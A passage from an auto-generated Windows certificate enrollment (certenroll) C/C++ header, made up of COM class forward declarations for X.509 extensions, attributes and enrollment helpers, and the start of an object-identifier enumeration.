\t/* __CX509ExtensionKeyUsage_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionEnhancedKeyUsage_FWD_DEFINED__\n#define __CX509ExtensionEnhancedKeyUsage_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionEnhancedKeyUsage CX509ExtensionEnhancedKeyUsage;\n#else\ntypedef struct CX509ExtensionEnhancedKeyUsage CX509ExtensionEnhancedKeyUsage;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionEnhancedKeyUsage_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionTemplateName_FWD_DEFINED__\n#define __CX509ExtensionTemplateName_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionTemplateName CX509ExtensionTemplateName;\n#else\ntypedef struct CX509ExtensionTemplateName CX509ExtensionTemplateName;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionTemplateName_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionTemplate_FWD_DEFINED__\n#define __CX509ExtensionTemplate_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionTemplate CX509ExtensionTemplate;\n#else\ntypedef struct CX509ExtensionTemplate CX509ExtensionTemplate;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionTemplate_FWD_DEFINED__ */\n\n\n#ifndef __CAlternativeName_FWD_DEFINED__\n#define __CAlternativeName_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CAlternativeName CAlternativeName;\n#else\ntypedef struct CAlternativeName CAlternativeName;\n#endif /* __cplusplus */\n\n#endif \t/* __CAlternativeName_FWD_DEFINED__ */\n\n\n#ifndef __CAlternativeNames_FWD_DEFINED__\n#define __CAlternativeNames_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CAlternativeNames CAlternativeNames;\n#else\ntypedef struct CAlternativeNames CAlternativeNames;\n#endif /* __cplusplus */\n\n#endif \t/* __CAlternativeNames_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionAlternativeNames_FWD_DEFINED__\n#define __CX509ExtensionAlternativeNames_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionAlternativeNames CX509ExtensionAlternativeNames;\n#else\ntypedef struct CX509ExtensionAlternativeNames CX509ExtensionAlternativeNames;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionAlternativeNames_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionBasicConstraints_FWD_DEFINED__\n#define __CX509ExtensionBasicConstraints_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionBasicConstraints CX509ExtensionBasicConstraints;\n#else\ntypedef struct CX509ExtensionBasicConstraints CX509ExtensionBasicConstraints;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionBasicConstraints_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionSubjectKeyIdentifier_FWD_DEFINED__\n#define __CX509ExtensionSubjectKeyIdentifier_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionSubjectKeyIdentifier CX509ExtensionSubjectKeyIdentifier;\n#else\ntypedef struct CX509ExtensionSubjectKeyIdentifier CX509ExtensionSubjectKeyIdentifier;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionSubjectKeyIdentifier_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionAuthorityKeyIdentifier_FWD_DEFINED__\n#define __CX509ExtensionAuthorityKeyIdentifier_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionAuthorityKeyIdentifier CX509ExtensionAuthorityKeyIdentifier;\n#else\ntypedef struct CX509ExtensionAuthorityKeyIdentifier CX509ExtensionAuthorityKeyIdentifier;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionAuthorityKeyIdentifier_FWD_DEFINED__ */\n\n\n#ifndef __CSmimeCapability_FWD_DEFINED__\n#define __CSmimeCapability_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CSmimeCapability CSmimeCapability;\n#else\ntypedef struct CSmimeCapability CSmimeCapability;\n#endif /* __cplusplus */\n\n#endif \t/* __CSmimeCapability_FWD_DEFINED__ */\n\n\n#ifndef __CSmimeCapabilities_FWD_DEFINED__\n#define __CSmimeCapabilities_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CSmimeCapabilities CSmimeCapabilities;\n#else\ntypedef struct CSmimeCapabilities CSmimeCapabilities;\n#endif /* __cplusplus */\n\n#endif \t/* __CSmimeCapabilities_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionSmimeCapabilities_FWD_DEFINED__\n#define __CX509ExtensionSmimeCapabilities_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionSmimeCapabilities CX509ExtensionSmimeCapabilities;\n#else\ntypedef struct CX509ExtensionSmimeCapabilities CX509ExtensionSmimeCapabilities;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionSmimeCapabilities_FWD_DEFINED__ */\n\n\n#ifndef __CPolicyQualifier_FWD_DEFINED__\n#define __CPolicyQualifier_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CPolicyQualifier CPolicyQualifier;\n#else\ntypedef struct CPolicyQualifier CPolicyQualifier;\n#endif /* __cplusplus */\n\n#endif \t/* __CPolicyQualifier_FWD_DEFINED__ */\n\n\n#ifndef __CPolicyQualifiers_FWD_DEFINED__\n#define __CPolicyQualifiers_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CPolicyQualifiers CPolicyQualifiers;\n#else\ntypedef struct CPolicyQualifiers CPolicyQualifiers;\n#endif /* __cplusplus */\n\n#endif \t/* __CPolicyQualifiers_FWD_DEFINED__ */\n\n\n#ifndef __CCertificatePolicy_FWD_DEFINED__\n#define __CCertificatePolicy_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertificatePolicy CCertificatePolicy;\n#else\ntypedef struct CCertificatePolicy CCertificatePolicy;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertificatePolicy_FWD_DEFINED__ */\n\n\n#ifndef __CCertificatePolicies_FWD_DEFINED__\n#define __CCertificatePolicies_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertificatePolicies CCertificatePolicies;\n#else\ntypedef struct CCertificatePolicies CCertificatePolicies;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertificatePolicies_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionCertificatePolicies_FWD_DEFINED__\n#define __CX509ExtensionCertificatePolicies_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionCertificatePolicies CX509ExtensionCertificatePolicies;\n#else\ntypedef struct CX509ExtensionCertificatePolicies CX509ExtensionCertificatePolicies;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionCertificatePolicies_FWD_DEFINED__ */\n\n\n#ifndef __CX509ExtensionMSApplicationPolicies_FWD_DEFINED__\n#define __CX509ExtensionMSApplicationPolicies_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509ExtensionMSApplicationPolicies CX509ExtensionMSApplicationPolicies;\n#else\ntypedef struct CX509ExtensionMSApplicationPolicies CX509ExtensionMSApplicationPolicies;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509ExtensionMSApplicationPolicies_FWD_DEFINED__ */\n\n\n#ifndef __CX509Attribute_FWD_DEFINED__\n#define __CX509Attribute_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509Attribute CX509Attribute;\n#else\ntypedef struct CX509Attribute CX509Attribute;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509Attribute_FWD_DEFINED__ */\n\n\n#ifndef __CX509Attributes_FWD_DEFINED__\n#define __CX509Attributes_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509Attributes CX509Attributes;\n#else\ntypedef struct CX509Attributes CX509Attributes;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509Attributes_FWD_DEFINED__ */\n\n\n#ifndef __CX509AttributeExtensions_FWD_DEFINED__\n#define __CX509AttributeExtensions_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509AttributeExtensions CX509AttributeExtensions;\n#else\ntypedef struct CX509AttributeExtensions CX509AttributeExtensions;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509AttributeExtensions_FWD_DEFINED__ */\n\n\n#ifndef __CX509AttributeClientId_FWD_DEFINED__\n#define __CX509AttributeClientId_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509AttributeClientId CX509AttributeClientId;\n#else\ntypedef struct CX509AttributeClientId CX509AttributeClientId;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509AttributeClientId_FWD_DEFINED__ */\n\n\n#ifndef __CX509AttributeRenewalCertificate_FWD_DEFINED__\n#define __CX509AttributeRenewalCertificate_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509AttributeRenewalCertificate CX509AttributeRenewalCertificate;\n#else\ntypedef struct CX509AttributeRenewalCertificate CX509AttributeRenewalCertificate;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509AttributeRenewalCertificate_FWD_DEFINED__ */\n\n\n#ifndef __CX509AttributeArchiveKey_FWD_DEFINED__\n#define __CX509AttributeArchiveKey_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509AttributeArchiveKey CX509AttributeArchiveKey;\n#else\ntypedef struct CX509AttributeArchiveKey CX509AttributeArchiveKey;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509AttributeArchiveKey_FWD_DEFINED__ */\n\n\n#ifndef __CX509AttributeArchiveKeyHash_FWD_DEFINED__\n#define __CX509AttributeArchiveKeyHash_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509AttributeArchiveKeyHash CX509AttributeArchiveKeyHash;\n#else\ntypedef struct CX509AttributeArchiveKeyHash CX509AttributeArchiveKeyHash;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509AttributeArchiveKeyHash_FWD_DEFINED__ */\n\n\n#ifndef __CX509AttributeOSVersion_FWD_DEFINED__\n#define __CX509AttributeOSVersion_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509AttributeOSVersion CX509AttributeOSVersion;\n#else\ntypedef struct CX509AttributeOSVersion CX509AttributeOSVersion;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509AttributeOSVersion_FWD_DEFINED__ */\n\n\n#ifndef __CX509AttributeCspProvider_FWD_DEFINED__\n#define __CX509AttributeCspProvider_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509AttributeCspProvider CX509AttributeCspProvider;\n#else\ntypedef struct CX509AttributeCspProvider CX509AttributeCspProvider;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509AttributeCspProvider_FWD_DEFINED__ */\n\n\n#ifndef __CCryptAttribute_FWD_DEFINED__\n#define __CCryptAttribute_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCryptAttribute CCryptAttribute;\n#else\ntypedef struct CCryptAttribute CCryptAttribute;\n#endif /* __cplusplus */\n\n#endif \t/* __CCryptAttribute_FWD_DEFINED__ */\n\n\n#ifndef __CCryptAttributes_FWD_DEFINED__\n#define __CCryptAttributes_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCryptAttributes CCryptAttributes;\n#else\ntypedef struct CCryptAttributes CCryptAttributes;\n#endif /* __cplusplus */\n\n#endif \t/* __CCryptAttributes_FWD_DEFINED__ */\n\n\n#ifndef __CCertProperty_FWD_DEFINED__\n#define __CCertProperty_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertProperty CCertProperty;\n#else\ntypedef struct CCertProperty CCertProperty;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertProperty_FWD_DEFINED__ */\n\n\n#ifndef __CCertProperties_FWD_DEFINED__\n#define __CCertProperties_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertProperties CCertProperties;\n#else\ntypedef struct CCertProperties CCertProperties;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertProperties_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyFriendlyName_FWD_DEFINED__\n#define __CCertPropertyFriendlyName_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyFriendlyName CCertPropertyFriendlyName;\n#else\ntypedef struct CCertPropertyFriendlyName CCertPropertyFriendlyName;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyFriendlyName_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyDescription_FWD_DEFINED__\n#define __CCertPropertyDescription_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyDescription CCertPropertyDescription;\n#else\ntypedef struct CCertPropertyDescription CCertPropertyDescription;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyDescription_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyAutoEnroll_FWD_DEFINED__\n#define __CCertPropertyAutoEnroll_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyAutoEnroll CCertPropertyAutoEnroll;\n#else\ntypedef struct CCertPropertyAutoEnroll CCertPropertyAutoEnroll;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyAutoEnroll_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyRequestOriginator_FWD_DEFINED__\n#define __CCertPropertyRequestOriginator_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyRequestOriginator CCertPropertyRequestOriginator;\n#else\ntypedef struct CCertPropertyRequestOriginator CCertPropertyRequestOriginator;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyRequestOriginator_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertySHA1Hash_FWD_DEFINED__\n#define __CCertPropertySHA1Hash_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertySHA1Hash CCertPropertySHA1Hash;\n#else\ntypedef struct CCertPropertySHA1Hash CCertPropertySHA1Hash;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertySHA1Hash_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyKeyProvInfo_FWD_DEFINED__\n#define __CCertPropertyKeyProvInfo_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyKeyProvInfo CCertPropertyKeyProvInfo;\n#else\ntypedef struct CCertPropertyKeyProvInfo CCertPropertyKeyProvInfo;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyKeyProvInfo_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyArchived_FWD_DEFINED__\n#define __CCertPropertyArchived_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyArchived CCertPropertyArchived;\n#else\ntypedef struct CCertPropertyArchived CCertPropertyArchived;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyArchived_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyBackedUp_FWD_DEFINED__\n#define __CCertPropertyBackedUp_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyBackedUp CCertPropertyBackedUp;\n#else\ntypedef struct CCertPropertyBackedUp CCertPropertyBackedUp;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyBackedUp_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyEnrollment_FWD_DEFINED__\n#define __CCertPropertyEnrollment_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyEnrollment CCertPropertyEnrollment;\n#else\ntypedef struct CCertPropertyEnrollment CCertPropertyEnrollment;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyEnrollment_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyRenewal_FWD_DEFINED__\n#define __CCertPropertyRenewal_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyRenewal CCertPropertyRenewal;\n#else\ntypedef struct CCertPropertyRenewal CCertPropertyRenewal;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyRenewal_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyArchivedKeyHash_FWD_DEFINED__\n#define __CCertPropertyArchivedKeyHash_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyArchivedKeyHash CCertPropertyArchivedKeyHash;\n#else\ntypedef struct CCertPropertyArchivedKeyHash CCertPropertyArchivedKeyHash;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyArchivedKeyHash_FWD_DEFINED__ */\n\n\n#ifndef __CCertPropertyEnrollmentPolicyServer_FWD_DEFINED__\n#define __CCertPropertyEnrollmentPolicyServer_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertPropertyEnrollmentPolicyServer CCertPropertyEnrollmentPolicyServer;\n#else\ntypedef struct CCertPropertyEnrollmentPolicyServer CCertPropertyEnrollmentPolicyServer;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertPropertyEnrollmentPolicyServer_FWD_DEFINED__ */\n\n\n#ifndef __CSignerCertificate_FWD_DEFINED__\n#define __CSignerCertificate_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CSignerCertificate CSignerCertificate;\n#else\ntypedef struct CSignerCertificate CSignerCertificate;\n#endif /* __cplusplus */\n\n#endif \t/* __CSignerCertificate_FWD_DEFINED__ */\n\n\n#ifndef __CX509NameValuePair_FWD_DEFINED__\n#define __CX509NameValuePair_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509NameValuePair CX509NameValuePair;\n#else\ntypedef struct CX509NameValuePair CX509NameValuePair;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509NameValuePair_FWD_DEFINED__ */\n\n\n#ifndef __CCertificateAttestationChallenge_FWD_DEFINED__\n#define __CCertificateAttestationChallenge_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CCertificateAttestationChallenge CCertificateAttestationChallenge;\n#else\ntypedef struct CCertificateAttestationChallenge CCertificateAttestationChallenge;\n#endif /* __cplusplus */\n\n#endif \t/* __CCertificateAttestationChallenge_FWD_DEFINED__ */\n\n\n#ifndef __CX509CertificateRequestPkcs10_FWD_DEFINED__\n#define __CX509CertificateRequestPkcs10_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509CertificateRequestPkcs10 CX509CertificateRequestPkcs10;\n#else\ntypedef struct CX509CertificateRequestPkcs10 CX509CertificateRequestPkcs10;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509CertificateRequestPkcs10_FWD_DEFINED__ */\n\n\n#ifndef __CX509CertificateRequestCertificate_FWD_DEFINED__\n#define __CX509CertificateRequestCertificate_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509CertificateRequestCertificate CX509CertificateRequestCertificate;\n#else\ntypedef struct CX509CertificateRequestCertificate CX509CertificateRequestCertificate;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509CertificateRequestCertificate_FWD_DEFINED__ */\n\n\n#ifndef __CX509CertificateRequestPkcs7_FWD_DEFINED__\n#define __CX509CertificateRequestPkcs7_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509CertificateRequestPkcs7 CX509CertificateRequestPkcs7;\n#else\ntypedef struct CX509CertificateRequestPkcs7 CX509CertificateRequestPkcs7;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509CertificateRequestPkcs7_FWD_DEFINED__ */\n\n\n#ifndef __CX509CertificateRequestCmc_FWD_DEFINED__\n#define __CX509CertificateRequestCmc_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509CertificateRequestCmc CX509CertificateRequestCmc;\n#else\ntypedef struct CX509CertificateRequestCmc CX509CertificateRequestCmc;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509CertificateRequestCmc_FWD_DEFINED__ */\n\n\n#ifndef __CX509Enrollment_FWD_DEFINED__\n#define __CX509Enrollment_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509Enrollment CX509Enrollment;\n#else\ntypedef struct CX509Enrollment CX509Enrollment;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509Enrollment_FWD_DEFINED__ */\n\n\n#ifndef __CX509EnrollmentWebClassFactory_FWD_DEFINED__\n#define __CX509EnrollmentWebClassFactory_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509EnrollmentWebClassFactory CX509EnrollmentWebClassFactory;\n#else\ntypedef struct CX509EnrollmentWebClassFactory CX509EnrollmentWebClassFactory;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509EnrollmentWebClassFactory_FWD_DEFINED__ */\n\n\n#ifndef __CX509EnrollmentHelper_FWD_DEFINED__\n#define __CX509EnrollmentHelper_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509EnrollmentHelper CX509EnrollmentHelper;\n#else\ntypedef struct CX509EnrollmentHelper CX509EnrollmentHelper;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509EnrollmentHelper_FWD_DEFINED__ */\n\n\n#ifndef __CX509MachineEnrollmentFactory_FWD_DEFINED__\n#define __CX509MachineEnrollmentFactory_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509MachineEnrollmentFactory CX509MachineEnrollmentFactory;\n#else\ntypedef struct CX509MachineEnrollmentFactory CX509MachineEnrollmentFactory;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509MachineEnrollmentFactory_FWD_DEFINED__ */\n\n\n#ifndef __CX509EnrollmentPolicyActiveDirectory_FWD_DEFINED__\n#define __CX509EnrollmentPolicyActiveDirectory_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509EnrollmentPolicyActiveDirectory CX509EnrollmentPolicyActiveDirectory;\n#else\ntypedef struct CX509EnrollmentPolicyActiveDirectory CX509EnrollmentPolicyActiveDirectory;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509EnrollmentPolicyActiveDirectory_FWD_DEFINED__ */\n\n\n#ifndef __CX509EnrollmentPolicyWebService_FWD_DEFINED__\n#define __CX509EnrollmentPolicyWebService_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509EnrollmentPolicyWebService CX509EnrollmentPolicyWebService;\n#else\ntypedef struct CX509EnrollmentPolicyWebService CX509EnrollmentPolicyWebService;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509EnrollmentPolicyWebService_FWD_DEFINED__ */\n\n\n#ifndef __CX509PolicyServerListManager_FWD_DEFINED__\n#define __CX509PolicyServerListManager_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509PolicyServerListManager CX509PolicyServerListManager;\n#else\ntypedef struct CX509PolicyServerListManager CX509PolicyServerListManager;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509PolicyServerListManager_FWD_DEFINED__ */\n\n\n#ifndef __CX509PolicyServerUrl_FWD_DEFINED__\n#define __CX509PolicyServerUrl_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509PolicyServerUrl CX509PolicyServerUrl;\n#else\ntypedef struct CX509PolicyServerUrl CX509PolicyServerUrl;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509PolicyServerUrl_FWD_DEFINED__ */\n\n\n#ifndef __CX509CertificateTemplateADWritable_FWD_DEFINED__\n#define __CX509CertificateTemplateADWritable_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509CertificateTemplateADWritable CX509CertificateTemplateADWritable;\n#else\ntypedef struct CX509CertificateTemplateADWritable CX509CertificateTemplateADWritable;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509CertificateTemplateADWritable_FWD_DEFINED__ */\n\n\n#ifndef __CX509CertificateRevocationListEntry_FWD_DEFINED__\n#define __CX509CertificateRevocationListEntry_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509CertificateRevocationListEntry CX509CertificateRevocationListEntry;\n#else\ntypedef struct CX509CertificateRevocationListEntry CX509CertificateRevocationListEntry;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509CertificateRevocationListEntry_FWD_DEFINED__ */\n\n\n#ifndef __CX509CertificateRevocationListEntries_FWD_DEFINED__\n#define __CX509CertificateRevocationListEntries_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509CertificateRevocationListEntries CX509CertificateRevocationListEntries;\n#else\ntypedef struct CX509CertificateRevocationListEntries CX509CertificateRevocationListEntries;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509CertificateRevocationListEntries_FWD_DEFINED__ */\n\n\n#ifndef __CX509CertificateRevocationList_FWD_DEFINED__\n#define __CX509CertificateRevocationList_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509CertificateRevocationList CX509CertificateRevocationList;\n#else\ntypedef struct CX509CertificateRevocationList CX509CertificateRevocationList;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509CertificateRevocationList_FWD_DEFINED__ */\n\n\n#ifndef __CX509SCEPEnrollment_FWD_DEFINED__\n#define __CX509SCEPEnrollment_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509SCEPEnrollment CX509SCEPEnrollment;\n#else\ntypedef struct CX509SCEPEnrollment CX509SCEPEnrollment;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509SCEPEnrollment_FWD_DEFINED__ */\n\n\n#ifndef __CX509SCEPEnrollmentHelper_FWD_DEFINED__\n#define __CX509SCEPEnrollmentHelper_FWD_DEFINED__\n\n#ifdef __cplusplus\ntypedef class CX509SCEPEnrollmentHelper CX509SCEPEnrollmentHelper;\n#else\ntypedef struct CX509SCEPEnrollmentHelper CX509SCEPEnrollmentHelper;\n#endif /* __cplusplus */\n\n#endif \t/* __CX509SCEPEnrollmentHelper_FWD_DEFINED__ */\n\n\n/* header files for imported files */\n#include \"wtypes.h\"\n#include \"oaidl.h\"\n#include \"certcli.h\"\n#include \"certpol.h\"\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif \n\n\n/* interface __MIDL_itf_certenroll_0000_0000 */\n/* [local] */ \n\n#include <winapifamily.h>\n#pragma region Desktop Family\n#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)\n#if defined(MIDL_PASS)\ntypedef typedef void VOID;\n;\n\n#endif\ntypedef \nenum CERTENROLL_OBJECTID\n    {\n        XCN_OID_NONE\t= 0,\n        XCN_OID_RSA\t= 1,\n        XCN_OID_PKCS\t= 2,\n        XCN_OID_RSA_HASH\t= 3,\n        XCN_OID_RSA_ENCRYPT\t= 4,\n        XCN_OID_PKCS_1\t= 5,\n        XCN_OID_PKCS_2\t= 6,\n        XCN_OID_PKCS_3\t= 7,\n        XCN_OID_PKCS_4\t= 8,\n        XCN_OID_PKCS_5\t= 9,\n        XCN_OID_PKCS_6\t= 10,\n        XCN_OID_PKCS_7\t= 11,\n        XCN_OID_PKCS_8\t= 12,\n        XCN_OID_PKCS_9\t= 13,\n        XCN_OID_PKCS_10\t= 14,\n        XCN_OID_PKCS_12\t= 15,\n        XCN_OID_RSA_RSA\t= 16,\n        XCN_OID_RSA_MD2RSA\t= 17,\n        XCN_OID_RSA_MD4RSA\t= 18,\n        XCN_OID_RSA_MD5RSA\t= 19,\n        XCN_OID_RSA_SHA1RSA\t= 20,\n        XCN_OID_RSA_SETOAEP_RSA\t= 21,\n        XCN_OID_RSA_DH\t= 22,\n        XCN_OID_RSA_data\t= 23,\n        XCN_OID_RSA_signedData\t= 24,\n        XCN_OID_RSA_envelopedData\t= 25,\n        XCN_OID_RSA_signEnvData\t= 26,\n        XCN_OID_RSA_digestedData\t= 27,\n        XCN_OID_RSA_hashedData\t= 28,\n        XCN_OID_RSA_encryptedData\t= 29,\n        XCN_OID_RSA_emailAddr\t= 30,\n        XCN_OID_RSA_unstructName\t= 31,\n        XCN_OID_RSA_contentType\t= 32,\n        XCN_OID_RSA_messageDigest\t= 33,\n        XCN_OID_RSA_signingTime\t= 34,\n        XCN_OID_RSA_counterSign\t= 35,\n        XCN_OID_RSA_challengePwd\t= 36,\n        XCN_OID_RSA_unstructAddr\t= 37,\n        XCN_OID_RSA_extCertAttrs\t= 38,\n        XCN_OID_RSA_certExtensions\t= 39,\n        XCN_OID_RSA_SMIMECapabilities\t= 40,\n        XCN_OID_RSA_preferSignedData\t= 41,\n        XCN_OID_RSA_SMIMEalg\t= 42,\n        XCN_OID_RSA_SMIMEalgESDH\t= 43,\n        XCN_OID_RSA_SMIMEalgCMS3DESwrap\t= 44,\n        XCN_OID_RSA_SMIMEalgCMSRC2wrap\t= 45,\n        XCN_OID_RSA_MD2\t= 46,\n        XCN_OID_RSA_MD4\t= 47,\n        XCN_OID_RSA_MD5\t= 48,\n        XCN_OID_RSA_RC2CBC\t= 49,\n        XCN_OID_RSA_RC4\t= 50,\n        XCN_OID_RSA_DES_EDE3_CBC\t= 51,\n        XCN_OID_RSA_RC5_CBCPad\t= 52,\n        XCN_OID_ANSI_X942\t= 53,\n        XCN_OID_ANSI_X942_DH\t= 54,\n        XCN_OID_X957\t= 55,\n        XCN_OID_X957_DSA\t= 56,\n        XCN_OID_X957_SHA1DSA\t= 57,\n        XCN_OID_DS\t= 58,\n        XCN_OID_DSALG\t= 59,\n        XCN_OID_DSALG_CRPT\t= 60,\n        XCN_OID_DSALG_HASH\t= 61,\n        XCN_OID_DSALG_SIGN\t= 62,\n        XCN_OID_DSALG_RSA\t= 63,\n        XCN_OID_OIW\t= 64,\n        XCN_OID_OIWSEC\t= 65,\n        XCN_OID_OIWSEC_md4RSA\t= 66,\n        XCN_OID_OIWSEC_md5RSA\t= 67,\n        XCN_OID_OIWSEC_md4RSA2\t= 68,\n        XCN_OID_OIWSEC_desECB\t= 69,\n        